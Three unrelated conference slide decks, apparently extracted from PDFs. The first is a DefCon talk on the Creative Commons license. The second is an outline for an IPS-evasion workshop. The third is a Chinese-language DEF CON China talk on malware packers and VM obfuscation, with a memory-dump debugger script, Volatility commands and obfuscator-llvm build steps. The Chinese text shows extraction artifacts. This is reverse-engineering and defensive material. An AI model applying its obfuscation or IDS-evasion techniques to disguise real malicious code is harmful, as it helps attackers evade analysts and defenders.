Licensing Agreements 101: The Creative Commons DefCon 13 – June 29-31, 2005 Presented By: Jim Rennie Licensing Agreements 101: The Creative Commons - Slide 2 of 36 Disclaimer This Presentation is for educational purposes only. It is not legal advice. The speaker is not a lawyer. If you require legal advice, retain a lawyer licensed to practice law in your jurisdiction. Licensing Agreements 101: The Creative Commons - Slide 3 of 36 Agenda Introduction Background on the Creative Commons License Walk through the license section-by- section How to maximize your protection Questions Licensing Agreements 101: The Creative Commons - Slide 4 of 36 Introduction Who are you? Why are you talking about the Creative Commons License? Licensing Agreements 101: The Creative Commons - Slide 5 of 36 Who uses the CC License? Writers, Bloggers, Musicians, Artists Moveable Type / TypePad Flickr Yahoo! LimeWire Licensing Agreements 101: The Creative Commons - Slide 6 of 36 What is the Creative Commons? Non-profit organization Creative Commons founded in 2001 by the Berkman Center for Internet & Society at Harvard Law School Currently run under at Stanford Law School Center for Internet Law and Society Licensing Agreements 101: The Creative Commons - Slide 7 of 36 Why was the CC License created? Belief that sharing content more freely fosters innovation and creation Non-coder counterpart to the GPL Perceived need in the online community Licensing Agreements 101: The Creative Commons - Slide 8 of 36 Which CC License are we talking about today? Attribution Non-Commercial Share Alike Version 2.5 Commons Deed Licensing Agreements 101: The Creative Commons - Slide 9 of 36 What is a License? Giving some of your rights or privileges to another person who would not normally have them. Licensing Agreements 101: The Creative Commons - Slide 10 of 36 What is a Contract? An Agreement between (at least) two parties. Each party must provide something in exchange. Exchange can be benefit or detriment, either immediately or at some point in the future. Parties must act as though they agree to the contract. Contracts are governed by state law. Licensing Agreements 101: The Creative Commons - Slide 11 of 36 Contract + License = Licensing Agreement Licensor agrees to allow Content User to make use of their work as long as they follow the terms of the contract. Content User receives the benefit of using the protected work. Licensor receives the “legal detriment” of giving up some copy-rights. Licensing Agreements 101: The Creative Commons - Slide 12 of 36 How does federal copyright law fit in to all this? In effect, the contract creates exception to general federal law. Federal law creates the rights State law handles how the contract is enforced CC License explicitly does not effect all of your copy-rights. Licensing Agreements 101: The Creative Commons - Slide 13 of 36 §1 Definitions §1(a) – Collective Works Re-distributes a work unmodified §1(b) – Derivative Works Builds upon, changes, or incorporates a work A work can be used collectively or derivatively, but not both at the same time. Licensing Agreements 101: The Creative Commons - Slide 14 of 36 §2 Fair Use Rights Retained Specifically limits this license agreement in order to protect Fair use First sale Other copyright privileges Licensing Agreements 101: The Creative Commons - Slide 15 of 36 §3 The License Grant Part 1 – How is it being granted? Worldwide Royalty-free Non-exclusive Perpetual Licensing Agreements 101: The Creative Commons - Slide 16 of 36 §3 The License Grant Part 2 – What is being granted? The right to reproduce the work in a Collective Work The right to create Derivative works Public performance rights Licensing Agreements 101: The Creative Commons - Slide 17 of 36 §4(a,b) Share Alike Protections for Collective and Derivative: Copy of the CC license must be included or URI pointing to the license License must be unaltered “[Y]ou may not sublicense the Work” Restriction on copy protection Licensing Agreements 101: The Creative Commons - Slide 18 of 36 §4(a,b) Share Alike Protections just for Collective: Licensor can request attribution removal Protections just for Derivative: Distributor can pick substantially similar license Licensing Agreements 101: The Creative Commons - Slide 19 of 36 §4(c) No Commercial Use Cannot use work “in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation” File-sharing and P2P exception Licensing Agreements 101: The Creative Commons - Slide 20 of 36 §4(d) Attribution Copyright notices Original Author Title of Work URI if supplied Derivative Work special credit Licensing Agreements 101: The Creative Commons - Slide 21 of 36 §4(e,f) Music Royalties Reserves right to collect royalties: Public performance Webcast Only if performance is commercial Contradictory? Licensing Agreements 101: The Creative Commons - Slide 22 of 36 §5 Warranty Disclaimer Section attempts to shield Original Author against: Implied Warranty of Merchantability Implied Warranty of Fitness Non-Infringement Etc. Effectiveness of this section changes state by state, check with a lawyer licensed to practice in your area if you are concerned. Licensing Agreements 101: The Creative Commons - Slide 23 of 36 §6 Limit on Liability Attempts to shield Licensor from legal damages due to the use of their work Similar to the previous Warranty section Once again, effectiveness will depend on your state’s laws, check with a lawyer Licensing Agreements 101: The Creative Commons - Slide 24 of 36 §7(a) What happens when someone violates the license? Any breach of the conditions by the Content User will instantly terminate their right to use the license Sections 5 and 6 limiting Licensor’s liability are not terminated Licensing Agreements 101: The Creative Commons - Slide 25 of 36 §7(b) What happens when you want to revoke the license? Short Version: You can’t Remember, the license is perpetual Long Version: You may cause a content fork. Licensing Agreements 101: The Creative Commons - Slide 26 of 36 §8(a,b) Continuous Grant Licensor re-news the license on the same terms each time work is distributed or performed by Content User Licensing Agreements 101: The Creative Commons - Slide 27 of 36 §8(c) Severablility If one part of the contract is found to be void, the rest of the contract will still be valid. Licensing Agreements 101: The Creative Commons - Slide 28 of 36 §8(d) Waiver Waiver is knowingly giving up a right Waiver can be used to completely remove a part of the contract It must be in writing and signed by both parties Licensing Agreements 101: The Creative Commons - Slide 29 of 36 §8(e) Integration Clause Parties agree the written contract is the entire contract You cannot make changes or additions to the contract on a case-by-case basis Note: Enforcement will vary state-to-state and even judge-to-judge Licensing Agreements 101: The Creative Commons - Slide 30 of 36 Appendix – Don’t Sue the Creative Commons, Please! Creative Commons is not a party to the License Creative Commons claims no responsibility for how you use the license or anything bad that might happen to you because you use the license Licensing Agreements 101: The Creative Commons - Slide 31 of 36 Maximize your protection Make sure Content Users are bound to the license Make sure Content Users know which content is covered by the license Licensing Agreements 101: The Creative Commons - Slide 32 of 36 Duty to Read What is required to bind a user to the CC license? Not Required: actually reading the CC license Required: fair opportunity to read the CC license Licensing Agreements 101: The Creative Commons - Slide 33 of 36 What part of your site is covered? Text? Pictures? Design? Are the (un)covered areas clearly labeled? Licensing Agreements 101: The Creative Commons - Slide 34 of 36 Summary Remember, 99% or more of all Creative Commons transactions will go smoothly Understand your rights under the contract so you can make an informed choice If you feel unsure, contact a lawyer and/or wait before choosing to license your work Licensing Agreements 101: The Creative Commons - Slide 35 of 36 Questions ??? Licensing Agreements 101: The Creative Commons - Slide 36 of 36 To Learn More: Creative Commons (http://www.creativecommons.org) EFF: Blogger’s Law Guide (http://www.eff.org/bloggers/lg/) North Carolina State U. Copyright Tutorial (http://www.lib.ncsu.edu/scc/tutorial/copyuse) Taking the Case: is the GPL Enforceable? Jason B. Wacha, Santa Clara Computer and High Technology Law Journal, January, 2005 (21 SCCHITLJ 451)
pdf
CDnetsec.com Education Masters Degrees in: ▪ Computer Science ▪ Management Author since 2007 Professional Penetration Testing Ninja Hacking Netcat Power Tools Penetration Testing’s Open Source Toolkit, V2 Certifications ISSMP, CISSP, SCSECA, SCNA, SCSA, IEM/IAM Crystal Defense Network Security Solutions - CDnetsec.com Education Masters Degrees: ▪ Computer Science ▪ Organizational Behavior Co-Founder and Operations Manager for “Crystal Defense Network Security Solutions” MSSP on the Colorado Front Range Crystal Defense Network Security Solutions - CDnetsec.com Learn to identify and evade an Intrusion Prevention System Understand how an IPS is typically deployed, and identify non-typical deployments Rules, rules, rules COTS IPS systems Crystal Defense Network Security Solutions - CDnetsec.com Pre-installed Kali Linux Prefer to have it as the main OS, not virtualized CAT5 cable of sufficient length We didn’t know in advance how the rooms would be, so please bear with us when we get everyone connected Patience 4 hours, 4 tasks, a LOT of network congestion This is a HOSTILE NETWORK!! HackingDojo.com Do / Don’t Everyone is here to learn, so don’t impede others Embrace other people’s genius Workshop = Group Effort, work as a team Workshop != Taking over someone else’s keyboard We’re here to learn, not be pedantic over terms 99% will be done via shared screen – please make sure you can see the presentation HackingDojo.com Lab configuration for the workshop Crystal Defense Network Security Solutions - CDnetsec.com COTS IDS/IPS products Rules Encryption and tunneling Timing attacks Traffic manipulation Resource consumption* Crystal Defense Network Security Solutions - CDnetsec.com Let’s begin! Crystal Defense Network Security Solutions - CDnetsec.com Any feedback, please send to: [email protected] Crystal Defense Network Security Solutions - CDnetsec.com
pdf
1" 反击恶意软件: 源头做起不不挖坑 DEF"CON"CHINA"1.0"(2019)" DEF CON CHINA 1.0 (2019) by Alexandre Borges ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 2" ü  Malware and Security Researcher. " ü  Speaker at DEFCON USA 2018 ü  Speaker at HITB 2019 Amsterdam ü  Speaker at CONFidence Conf. 2019 ü  Speaker at BSIDES 2018/2017/2016 ü  Speaker at H2HC 2016/2015 ü  Speaker at BHACK 2018 ü  Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics and Rookits. " ü  Reviewer member of the The Journal of Digital Forensics, Security and Law." ü R f Di i l ⽬目录: " v  介绍 v  反逆向和虚拟封装器器 v  METASM v  MIASM v  DTRACE on Windows v  反虚拟化 v  结论 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 介绍 DEF"CON"CHINA"1.0"(2019)" 3" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 4" ü  我们⽇日常处理理的恶意软件样本中都会使⽤用⼏几个已知的包例例如:ASPack, Armadillo, Petite, FSG, UPX, MPRESS, NSPack, PECompact, WinUnpack 等等. 他们中的⼤大多数很容 易易⽤用⼀一个脚本来解压缩。 ü  我们也知道⼀一些经常⽤用来创建和分配内存的API,例例如: ü  VirtualAlloc/Ex( ) ü  HeapCreate( ) / RtlCreateHeap( ) ü  HeapReAlloc( ) ü  GlobalAlloc( ) ü  RtlAllocateHeap( ) ü  此外,我们还知道如何使⽤用调试器器、断点和从内存中转储未打包的内容来解压缩 它们。来自Hasherezade的pe-sieve⾮非常优秀。J ü  当我们意识到恶意软件使⽤用了了⼀一些定制的打包技术时,仍然可以从内存中转储它, 用Python代码修复ImageAddress字段,并在IDA Pro中使用impscan插件对各自的IAT进 ⾏行行分析: ü  export VOLATILITY_PROFILE=Win7SP1x86 ü  python vol.py -f memory.vmem procdump -p 2096 -D . --memory (to keep slack space) ü  python vol.py -f memory.vmem impscan --output=idc -p 2096 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 5" //############################################################# // ⽂文件名字 : dumpexe.txt (first draft) // 注释 : 转储包含可执⾏行行程序的内存段 // 作者 : Alexandre Borges // ⽇日期 : today //############################################################# entry: msg "转储包含可执⾏行行程序的模块." msg "在继续之前,您必须在EP" bc // 清楚已有断点 bphwc // 清楚已有硬件断点 bp VirtualAlloc // 在VirtualAlloc设置断点 erun // 运行并将所有的第⼀一个异常传递给应⽤用程序 core: sti // 单步执⾏行行 sti // 单步执⾏行行 sti // 单步执⾏行行 sti // 单步执⾏行行 sti // 单步执⾏行行 x64dbg script 1/3 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 6" find cip,"C2 1000“ // 找到VirtualAlloc的返回点 bp $result // 设置断点 erun // 运⾏行行并将所有的第⼀一个异常传递给应⽤用程序 cmp eax,0 // 测试eax(没有分配内存)是否等于零 je pcode // 跳转到pcode标签 bpm eax,0,x // 设置可执⾏行行内存断点,如果中断并恢复它。 erun //运⾏行行并将所有的第⼀一个异常传递给应⽤用程序 //尝试查找模块内存中是否有“This program”字符串. findall $breakpointexceptionaddress,"546869732070726F6772616D” cmp $result,0 // 检查是否找到 je pcode // 跳转到pcode标签 $dumpaddr = mem.base($breakpointexceptionaddress) //找到存储基址. $size = mem.size($breakpointexceptionaddress) //找到存储的⼤大⼩小. savedata :memdump:,$dumpaddr,$size //转储段. msgyn "Memory dumped! Do you want continue?“ //显示会话 cmp $result,1 //检查选择 je scode // 跳转到Scode标签 bc // 清除已有断点 bphwc // 清除已有硬件断点 ret // 退出 x64dbg script 2/3 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 7" pcode: msgyn "没有PE文件!要继续吗?" cmp $result,0 // 检查我们是否不不想继续 je final sti //单步执⾏行行 erun // 运⾏行行并将所有第⼀一个异常传递给应⽤用程序 jmp core // 跳转到core标签 scode: msg "Let's go to next dump“ // 显示会话 erun // 运⾏行行并将所有第⼀一个异常传递给应⽤用程序 jmp core // 跳转到core标签 final: bc // 清除已有断点 bphwc // 清除已有硬件断点 ret // 退出 ! x64dbg script 3/3 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "反逆向 DEF"CON"CHINA"1.0"(2019)" 8" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019" 9" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  混淆的目的是保护软件不不被逆向分析,知识产权不不被侵犯,对我们⽽而⾔言是保 护恶意代码。J 事实上, 混淆并不不能真正保护软件, 但它可以增加逆向⼈人员的 难度。 ü  因此,混淆通过强制逆向⼈人员花费资源和时间来破译代码。 ü  分析恶意⼈人员⽤用VBA和Powershell编写的常⻅见的⽤用户恶意软件时,我们都会看 到混淆的代码,所以这似乎没什什么⼤大不不了了的。 ü  我们可以使用IDA Pro SDK编写插件来扩展IDA Pro的功能,分析一些代码和数 据流,甚至⾃自动解压奇怪的恶意⽂文件。 ü  此外,如果您在分析修改后的MBR时遇到问题,那么您甚⾄至可以编写⼀一个加 载器器来加载MBR结构并在IDA Pro中分析它。 J ü  不幸的是,有些打包程序和保护程序,如VMprotect、Themida、Arxan和Agile . Net,使用了现代的混淆技术,因此代码的逆向过程⾮非常复杂。 DEF"CON"CHINA"1.0"(2019)" 10" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü ⼤大多数保护程序在64位代码中使⽤用(恶意软件)。 ü 原始IAT从原始代码中删除(通常适⽤用于任何包装器器)。然而,像 Themida这样的包装商的IAT只保留一个功能(TlsSetValue)。 ü 他们中⼏几乎全部包含字符串串加密. ü 它们保护和检查内存完整性。因此,不不可能从内存中转储⼲干净的可执 ⾏行行⽂文件(例例如,使⽤用波动性),因为原始指令没有在内存中解码。 ü 指令(x86/x64代码)被虚拟化并转换为虚拟机指令(RISC指令)。 ü .NET 保护器器重命名类, ⽅方法, 域和外部引⽤用. DEF"CON"CHINA"1.0"(2019)" 11" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü 一些包装器可以使用指令加密内存作为额外的内存层。 ü 混淆是基于堆栈的,因此很难静态地处理理虚拟化代码。 ü 虚拟化代码是多态的,所以有许多表示引⽤用相同的CPU指令。 ü 有很多假的push指令。 ü 有许多死代码和⽆无⽤用代码。 ü 有⼀一些代码使⽤用⽆无条件跳转重新排序。 ü 所有的混淆器都使用代码扁平化。 ü 打包器⼏几乎没有反调试器器和反虚拟化技巧。然而,几个月前,我看到 了⼀一个不不太常⻅见的基于温度的anti-vmware技巧(稍后会详细介绍)。 DEF"CON"CHINA"1.0"(2019)" 12" int defcon(int x) “Virtualizer” (bytecodes) vm_call_1(opcodes, x) 获取字节,将其解码为指 令并将其分派给处理理程序 v  使⽤用虚拟机的保护器器引⼊入模糊代码: ü  上下⽂文切换组件,它将注册表和标志信息“传输”到VM上下文(虚拟机)。相反的 移动稍后从VM机器和本机(x86/x64)上下文中完成(适合在解包过程中保持在C结 构中 J) ü  从本机寄存器器到虚拟寄存器器的这种“转换”可以是⼀一对⼀一的,但并不不总是这样。 ü  在虚拟机内部,循环是: ü  获取指令 ü  解码 ü  找到指向指令的指针,并在处理理程序表中查找关联操作码 ü  调⽤用⽬目标处理理程序 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 13" B C H D 调度程序 A I G F E 2 3 指令解码 指令 A, B, C, ... 是处理理程序例例如 handler_add, handler_sub, handler_push... 传统指令集的操作码 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 初始化 取指 解码 RVA à RVA + 进程基础和 其它任务 指令以加密格式存储。 DEF"CON"CHINA"1.0"(2019)" 14" opcode 1 opcode 2 opcode 3 opcode 4 opcode 7 opcode 5 opcode 6 handler 1 handler 2 handler 3 handler 4 handler 7 handler 5 handler 6 function pointer 1 function pointer 2 function pointer 3 function pointer 4 function pointer 7 function pointer 5 function pointer 6 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 函数指针表 (可能加密) encr_1 encr_n encr_2 encr_3 encr_5 encr_4 ... 1 2 3 4 5 n-1 n vm_add vm_n vm_sub vm_xor vm_push vm_pop ... 解密指令 加密指令 索引 恢复和解密函数 DEF"CON"CHINA"1.0"(2019)" 15" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  逆向虚拟化和打包代码容易易吗?当然不不是。挑战可能是巨⼤大的 J ü  记住:混淆是使用任何技巧(包括虚拟化)将代码从A转换为B。 ü  要确定程序是否虚拟化并不容易。 ü  处理理程序彼此独⽴立,通常设置为: ü  寄存器器 ü  加密密钥 ü  内存 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" HITB"2019"AMSTERDAM" 16" ü  通常按指令类型有⼀一个处理理程序。 ü  这些处理理程序由VM调度器器“启动”。 ü  指令的操作数使⽤用处理理程序提供的密钥(初始化代码)加密。 ü  有时候,秘钥有4个字节,并且使⽤用异或等操作。 J ü  不不能虚拟化每个函数的序⾔言和结语。当心 J DEF"CON"CHINA"1.0"(2019)" 17" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  你试过打开IDA Pro的封装器器吗?第一眼:只有红⾊色和灰⾊色块(非函 数和数据)。 ü  最终,数据块可以容纳VM处理理程序…… ü  原始代码段可以在程序周围“分割”和“分散”(数据和指令混合在 ⼆二进制⽂文件中,⽽而不不是只有⼀一个指令块) ü  引⽤用导⼊入函数的指令可以被归零,也可以被NOP替换。L 当 然,它们稍后将被封装器器动态地恢复(重新插入)。 ü  “隐藏”函数代码可以复制(memcpy())到VirtualAlloc()分配的内存 中,J 当然,代码中必须有⼀一个补丁才能获得这些指令。 DEF"CON"CHINA"1.0"(2019)" 18" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü 传统打包程序通常不不会虚拟化所有x86指令。 ü 在打包过程之后,通常会看到虚拟化、本机指令和数据之间的 混合。 ü 原生API可以重定向到存根代码,存根代码将调⽤用转发给(复制 的)原生DLL(从各自的API)。 ü API调⽤用指令将直接引用IAT,通常使用RVA将其转换为短跳转, ⽤用于相同的导⼊入地址(“IAT混淆”) J ü 更糟的是,API名称可以散列(如在shellcode中使⽤用的那样)。 J DEF"CON"CHINA"1.0"(2019)" 19" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü 顺便便问⼀一下,有多少虚拟化指令存在? ü 我们是否能够根据操作数及其用途(内存访问、算术、通⽤用等 等)将虚拟指令分组? ü 注意指令的主干,将类似的指令类放在⼀一起(例如跳转指令、 直接调⽤用、间接调⽤用等)。 ü 是否基于(类似)x86指令的虚拟化指令? ü 处理理器器标志的含义被修改了了吗? DEF"CON"CHINA"1.0"(2019)" 20" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü 从x86模式转换到“虚拟化模式”的“关键指令”是什么? ü 记住:通常,寄存器器和标志(EFLAGS)在“跨越”到VM环境之前保存 到堆栈中。 ü 将控制权转移回x86环境需要哪些负责任的指令? ü 很多时候, 在“上下⽂文转换”期间,参数被推送到堆栈上. J DEF"CON"CHINA"1.0"(2019)" 21" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  这是快速的建⽴立⼀一个IDA Pro的插件。从这⾥里里下载IDA SDK https://www.hex- rays.com/products/ida/support/download.shtml (很可能,你需要⼀一个专业账 户)。将其复制到IDA Pro安装⽬目录中的⼀一个⽂文件夹(idasdk695/)。 ü  在 Visual Studio 2017 创建⼯工程(File à New à Create Project à Visual C++ à Windows Desktop à Dynamic-Link Library (DLL)). ü  改变⼀一些⼯工程的属性,如这⻚页和下⻚页所示 DEF"CON"CHINA"1.0"(2019)" 22" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  包含“__NT__;__IDP__” 在处理理器器的定义中。并更改运⾏行行时库 “Multi- threaded” (MT) (take care: it is NOT /MTd). DEF"CON"CHINA"1.0"(2019)" 23" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  添加ida.lib (from C:\Program Files (x86)\IDA 6.95\idasdk695\lib\x86_win_vc_32) 到附加依赖项及其⽂文件夹到附加库⽬目录。 ü  添加 “/EXPORT:PLUGIN” 到附加选项. DEF"CON"CHINA"1.0"(2019)" 24" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 不不要忘记必要的申明。 J 初始化 使插件对idb可⽤用,并将插件加载到内存中。 清除任务 当⽤用户激活插件时调⽤用的函数。 简单(和不完整)的URL正则表达式。 J DEF"CON"CHINA"1.0"(2019)" 25" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 插件将被ALT-X组合激活. J 插件结构 它检查字符串串是否与URL regex匹 配. 如果检查, 所以 ea == strinfo.ea. J 它从“strings view”中获取 字符串串的数量量。 得到string DEF"CON"CHINA"1.0"(2019)" 26" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 在此恶意驱动程序中找到url。J ALT - X DEF"CON"CHINA"1.0"(2019)" 27" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Ø  解码指令并⽤用结果填充 结构(ana.cpp) ü  IDA处理理器器模块仍然是处理理虚拟包装程 序的最佳方法之一。 ü  请您记住关于如何编写IDA处理理器器模块 的⼏几个要点(正如hex - ray中的Ilfak所提 到的): Ø  处理理分析程序(amu.cpp) 解码的命令 Ø  创建交叉引⽤用。 Ø  跟踪寄存器内容。 Ø  跟踪寄存器内容。 Ø  将输出写⼊入⼀一个已处 理理的输出,其中包含 前缀、注释和xref (out.cpp) ü  写⼀一个处理理器器 ü  修改(或编写) 模拟器器 ü  写一个 outputter ü  IDA Pro SDK⽂文档和示例例总是很棒. J 处理理器器模 块 DEF"CON"CHINA"1.0"(2019)" 28" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü 负责将x86指令转换为VM指令的VM解释器器代码通常⽐比较混乱。 ü 自己的VM指令也被压缩和加密(主要是xor 'ed) ü 正如我前面提到的,通常只有一个x86指令对应许多VM指令代码。 ü 有两个堆栈:一个来自x86领域,另⼀一个来⾃自VM领域。 ü 来⾃自虚拟化上下⽂文的堆栈可能会向上增⻓长,这与x86标准不不同。 ü 有时候,保护者不不会将x86上下⽂文复制到虚拟机中。在这种情况下, 它更更愿意保存上下文(注册内容+标志)以便稍后使用。 DEF"CON"CHINA"1.0"(2019)" 29" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü 找出VM指令的大小很有趣,我们可以将其放⼊入表示加密密 钥、数据、RVA(位置)、操作码(类型)等的结构中。 ü 由于⾃自定义虚拟化包装器器没有针对每个x86指令的虚拟化指 令,所以建议找到针对本机x86指令的处理理程序(⾮非虚拟化指 令)) ü 通常,⾮非虚拟化指令的处理理程序会在短时间内从VM环境中退 出,执⾏行行x86指令并返回到虚拟机环境。 ü 在本例中,x86指令也与虚拟化指令⼀一起被加密和压缩。 DEF"CON"CHINA"1.0"(2019)" 30" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  常量展开:模糊处理理程序使⽤用的⼀一种技术,它⽤用⽣生成相同结果常量量值 的⼀一组代码来替换内容。 ü  基于模式的混淆:⽤用⼀一组等价指令交换⼀一条指令。 ü  滥⽤用内联函数。 ü  反VM技术:防⽌止恶意软件样本在VM中运行。 ü  死代码(垃圾代码):这种技术是通过插⼊入代码来实现的,这些代码的 结果将在下⼀一⾏行行代码中被覆盖,或者更更糟的是,它们将不不再被使 ⽤用。 ü  代码复制:进⼊入同⼀一⽬目的地的不不同路路径(由虚拟化混淆器器使⽤用)。 DEF"CON"CHINA"1.0"(2019)" 31" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  间接控制 1: 调⽤用指令 à栈指针更更新 à 返回跳过⼀一些垃圾代码 后的调⽤用指令 (RET x). ü  间接控制 2: 恶意软件引发异常 à调⽤用已注册的异常 à 新的指 令分支。 ü  隐含谓词:虽然显然存在⼀一个求值(条件跳转:jz/jnz),但结果总 是被求值为true(或false),这意味着⽆无条件跳转。这样,就有了了 死跳转。 ü  反调试: 使⽤用复杂的技术使分析变慢. ü  多态性:它由⾃自修改代码(如shell代码)和加密资源(类似于⼤大多数 恶意软件样本)生成。 DEF"CON"CHINA"1.0"(2019)" 32" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  调⽤用堆栈处理理: 通过使⽤用由ret指令组成的指令技巧更更改堆栈 流,从而隐藏真实的ret。 ü  是否有可能消除虚拟化指令的混淆?是的,可以使用反向递归 替换(类似于Metasm中的回溯特性,但不相等)。 ü  此外,符号⽅方程系统是另一种很好的方法。(Metasm和 MIASM!) ü  有很多很好的插件,比如Code Unvirtualizer、VMAttack、 VMSweeper等等,它们可以⽤用来处理理简单的虚拟化问题。 ü  使⽤用简单⽽而有效的隐写术概念作为替换盒(s - box),指令虚拟 化器器的⼀一些改进已经出现。 DEF"CON"CHINA"1.0"(2019)" 33" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  该技术⽤用于隐藏程序的 实际控制流。 ü  ⼀一般来说,其思想是通 过删除if语句句和循环来 中断控制流,在⼀一系列列 开关⽤用例例语句句中转换 流. ü  因此,有一个分发器器将 控制流交给处理理程序, 每个处理理程序将更更新指 令指针,使之指向下⼀一 个要执⾏行行的处理理程序的 值(虚拟化流控制)。 ü  通常有一个调⽤用存根, 它完成从本机指令到虚 拟化指令的转换。 ü  代码流图扁平化: ü  这种⽅方法提出了了两 个反向问题:从CISC 到RISC指令的映射 和从VM将原始寄 存器器转换为专⽤用寄 存器器。 ü  因为要权衡利利弊, CFG只适用于特定 的功能 DEF"CON"CHINA"1.0"(2019)" 34" #include <stdio.h> int main (void) { int aborges = 0; while (aborges < 30) { printf(“%d\n”, aborges); aborges++; } return 0; } Loading libs aborges = 0 aborges < 30 printf( ) aborges++ return 0 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 35" cc = 1 cc != 0 switch(cc) aborges < 30 cc = 0 cc = 3 break aborges = 0 cc = 2 break printf aborges++ break cc = 2 loading libs cc!=!1! cc!=!2! cc!=!3! v  缺点: ü  损失的性能 ü  容易易识别CFG的扁平化 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 36" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 原始程序 DEF"CON"CHINA"1.0"(2019)" 37" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  用于代码模糊处理理的obfusator -llvm是⼀一个⾮非常好的项⽬目。为了了安装它建议 先添加⼀一个交换⽂文件(因为链接阶段): ü  fallocate -l 8GB /swapfile ü  chmod 600 /swapfile ü  mkswap /swapfile ü  swapon /swapfile ü  swapon --show ü  apt-get install llvm-4.0 ü  apt-get install gcc-multilib (install gcc lib support to 32 bit) ü  git clone -b llvm-4.0 https://github.com/obfuscator-llvm/obfuscator.git ü  mkdir build ; cd build/ ü  cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF ../ obfuscator/ ü  make -j7 ü  可能会⽤用到: ü  ./build/bin/clang alexborges.c -o alexborges -mllvm -fla ü  ./build/bin/clang alexborges.c -m32 -o alexborges -mllvm -fla ü  ./build/bin/clang alexborges.c -o alexborges -mllvm -fla -mllvm -sub DEF"CON"CHINA"1.0"(2019)" 38" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 主要调度程序 序言和初始任务 DEF"CON"CHINA"1.0"(2019)" 39" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 程序的主要块 DEF"CON"CHINA"1.0"(2019)" 40" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 模糊代码的概述 DEF"CON"CHINA"1.0"(2019)" 41" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 42" .text:00401000 loc_401000: ; CODE XREF: _main+Fp .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 xor eax, eax .text:00401005 jz short near ptr loc_40100D+1 .text:00401007 jnz near ptr loc_40100D+4 .text:0040100D .text:0040100D loc_40100D: ; CODE XREF: .text:00401005j .text:0040100D ; .text:00401007j .text:0040100D jmp near ptr 0D0A8837h 简单隐含谓词和反汇编技术 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 43" 解密 shellcode Decryption instructions J ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 44" 00401040 call + $5 00401045 pop ecx 00401046 inc ecx 00401047 inc ecx 00401048 add ecx, 4 00401049 add ecx, 4 0040104A push ecx 0040104B ret 0040104C sub ecx, 6 0040104D dec ecx 0040104E dec ecx 0040104F jmp 0x401320 v 调⽤用堆栈操作: ü  你知道这⾥里里发⽣生了了什什 么吗? J ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "METASM 